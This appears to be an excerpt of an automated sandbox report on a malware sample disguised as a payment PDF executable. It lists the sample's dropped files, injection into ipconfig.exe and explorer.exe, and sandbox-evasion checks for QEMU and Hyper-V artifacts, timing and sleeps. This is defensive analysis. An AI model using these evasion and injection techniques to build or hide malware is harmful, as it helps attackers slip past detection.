Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_6ECB1A98 GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleA,LdrInitializeThunk,LoadLibraryA,GetProcAddress,lstrlenA,

4_2_6ECB1A98

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88590603375.0000000000687000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88592146656.0000000003380000.00000004.00001000.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717861883.0000000003420000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88590603375.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MC:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXESEN

Source: C:\Windows\SysWOW64\ipconfig.exe TID: 1476	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe TID: 1476	Thread sleep time: -214000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2684	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\ipconfig.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 6_2_334B1763 rdtsc

6_2_334B1763

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 871			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 885			Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

API coverage: 1.9 %

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_00406435 FindFirstFileA,FindClose,	4_2_00406435
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_00405889 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405889
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_004027A1 LdrInitializeThunk,FindFirstFileA,	4_2_004027A1

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	API call chain: ExitProcess graph end node			graph_4-4511
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	API call chain: ExitProcess graph end node			graph_4-4506

Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88590603375.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mC:\Program Files\Qemu-ga\qemu-ga.exeSen
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: explorer.exe, 0000000B.00000000.89216854584.0000000009E78000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93146293008.0000000009E78000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\oem11.inf_loc
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88602026511.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003148000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717265199.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93144508490.0000000007E04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ipconfig.exe, 00000009.00000002.93142477578.00000000076FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0{
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88590603375.0000000000687000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88592146656.0000000003380000.00000004.00001000.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717861883.0000000003420000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000002.88625712085.0000000006769000.00000004.00000800.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88718073941.0000000004AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: firefox.exe, 0000000D.00000002.89570750852.00000271EBDD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

4_2_6ECB1A98

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 6_2_334B1763 rdtsc

6_2_334B1763

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33468347 mov eax, dword ptr fs:[00000030h]	6_2_33468347
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33468347 mov eax, dword ptr fs:[00000030h]	6_2_33468347
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33468347 mov eax, dword ptr fs:[00000030h]	6_2_33468347
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AA350 mov eax, dword ptr fs:[00000030h]	6_2_334AA350
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347B360 mov eax, dword ptr fs:[00000030h]	6_2_3347B360
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AE363 mov eax, dword ptr fs:[00000030h]	6_2_334AE363
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349237A mov eax, dword ptr fs:[00000030h]	6_2_3349237A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE372 mov eax, dword ptr fs:[00000030h]	6_2_334EE372
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE372 mov eax, dword ptr fs:[00000030h]	6_2_334EE372
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE372 mov eax, dword ptr fs:[00000030h]	6_2_334EE372
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EE372 mov eax, dword ptr fs:[00000030h]	6_2_334EE372
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F0371 mov eax, dword ptr fs:[00000030h]	6_2_334F0371
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F0371 mov eax, dword ptr fs:[00000030h]	6_2_334F0371
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F330C mov eax, dword ptr fs:[00000030h]	6_2_334F330C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F330C mov eax, dword ptr fs:[00000030h]	6_2_334F330C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F330C mov eax, dword ptr fs:[00000030h]	6_2_334F330C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F330C mov eax, dword ptr fs:[00000030h]	6_2_334F330C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33469303 mov eax, dword ptr fs:[00000030h]	6_2_33469303
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33469303 mov eax, dword ptr fs:[00000030h]	6_2_33469303
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A631F mov eax, dword ptr fs:[00000030h]	6_2_334A631F
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348E310 mov eax, dword ptr fs:[00000030h]	6_2_3348E310
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348E310 mov eax, dword ptr fs:[00000030h]	6_2_3348E310
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348E310 mov eax, dword ptr fs:[00000030h]	6_2_3348E310
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F30A mov eax, dword ptr fs:[00000030h]	6_2_3352F30A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33543336 mov eax, dword ptr fs:[00000030h]	6_2_33543336
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349332D mov eax, dword ptr fs:[00000030h]	6_2_3349332D
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A8322 mov eax, dword ptr fs:[00000030h]	6_2_334A8322
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A8322 mov eax, dword ptr fs:[00000030h]	6_2_334A8322
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A8322 mov eax, dword ptr fs:[00000030h]	6_2_334A8322
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E328 mov eax, dword ptr fs:[00000030h]	6_2_3346E328
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E328 mov eax, dword ptr fs:[00000030h]	6_2_3346E328
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E328 mov eax, dword ptr fs:[00000030h]	6_2_3346E328
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346C3C7 mov eax, dword ptr fs:[00000030h]	6_2_3346C3C7
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E3C0 mov eax, dword ptr fs:[00000030h]	6_2_3346E3C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E3C0 mov eax, dword ptr fs:[00000030h]	6_2_3346E3C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346E3C0 mov eax, dword ptr fs:[00000030h]	6_2_3346E3C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334763CB mov eax, dword ptr fs:[00000030h]	6_2_334763CB
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FE3DD mov eax, dword ptr fs:[00000030h]	6_2_334FE3DD
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A33D0 mov eax, dword ptr fs:[00000030h]	6_2_334A33D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F43D5 mov eax, dword ptr fs:[00000030h]	6_2_334F43D5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A43D0 mov ecx, dword ptr fs:[00000030h]	6_2_334A43D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380 mov eax, dword ptr fs:[00000030h]	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380 mov eax, dword ptr fs:[00000030h]	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380 mov eax, dword ptr fs:[00000030h]	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380 mov eax, dword ptr fs:[00000030h]	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380 mov eax, dword ptr fs:[00000030h]	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348F380 mov eax, dword ptr fs:[00000030h]	6_2_3348F380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F38A mov eax, dword ptr fs:[00000030h]	6_2_3352F38A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349A390 mov eax, dword ptr fs:[00000030h]	6_2_3349A390
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349A390 mov eax, dword ptr fs:[00000030h]	6_2_3349A390
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349A390 mov eax, dword ptr fs:[00000030h]	6_2_3349A390
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334793A6 mov eax, dword ptr fs:[00000030h]	6_2_334793A6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334793A6 mov eax, dword ptr fs:[00000030h]	6_2_334793A6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334EC3B0 mov eax, dword ptr fs:[00000030h]	6_2_334EC3B0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349F24A mov eax, dword ptr fs:[00000030h]	6_2_3349F24A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352F247 mov eax, dword ptr fs:[00000030h]	6_2_3352F247
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334ED250 mov eax, dword ptr fs:[00000030h]	6_2_334ED250
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334ED250 mov ecx, dword ptr fs:[00000030h]	6_2_334ED250
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353124C mov eax, dword ptr fs:[00000030h]	6_2_3353124C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353124C mov eax, dword ptr fs:[00000030h]	6_2_3353124C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353124C mov eax, dword ptr fs:[00000030h]	6_2_3353124C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353124C mov eax, dword ptr fs:[00000030h]	6_2_3353124C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352D270 mov eax, dword ptr fs:[00000030h]	6_2_3352D270
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3350327E mov eax, dword ptr fs:[00000030h]	6_2_3350327E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B273 mov eax, dword ptr fs:[00000030h]	6_2_3346B273
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B273 mov eax, dword ptr fs:[00000030h]	6_2_3346B273
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346B273 mov eax, dword ptr fs:[00000030h]	6_2_3346B273
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346A200 mov eax, dword ptr fs:[00000030h]	6_2_3346A200
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FB214 mov eax, dword ptr fs:[00000030h]	6_2_334FB214
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334FB214 mov eax, dword ptr fs:[00000030h]	6_2_334FB214
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346821B mov eax, dword ptr fs:[00000030h]	6_2_3346821B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AA22B mov eax, dword ptr fs:[00000030h]	6_2_334AA22B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AA22B mov eax, dword ptr fs:[00000030h]	6_2_334AA22B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334AA22B mov eax, dword ptr fs:[00000030h]	6_2_334AA22B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F0227 mov eax, dword ptr fs:[00000030h]	6_2_334F0227
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F0227 mov eax, dword ptr fs:[00000030h]	6_2_334F0227
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F0227 mov eax, dword ptr fs:[00000030h]	6_2_334F0227
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33490230 mov ecx, dword ptr fs:[00000030h]	6_2_33490230
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334932C5 mov eax, dword ptr fs:[00000030h]	6_2_334932C5
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335432C9 mov eax, dword ptr fs:[00000030h]	6_2_335432C9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334672E0 mov eax, dword ptr fs:[00000030h]	6_2_334672E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347A2E0 mov eax, dword ptr fs:[00000030h]	6_2_3347A2E0
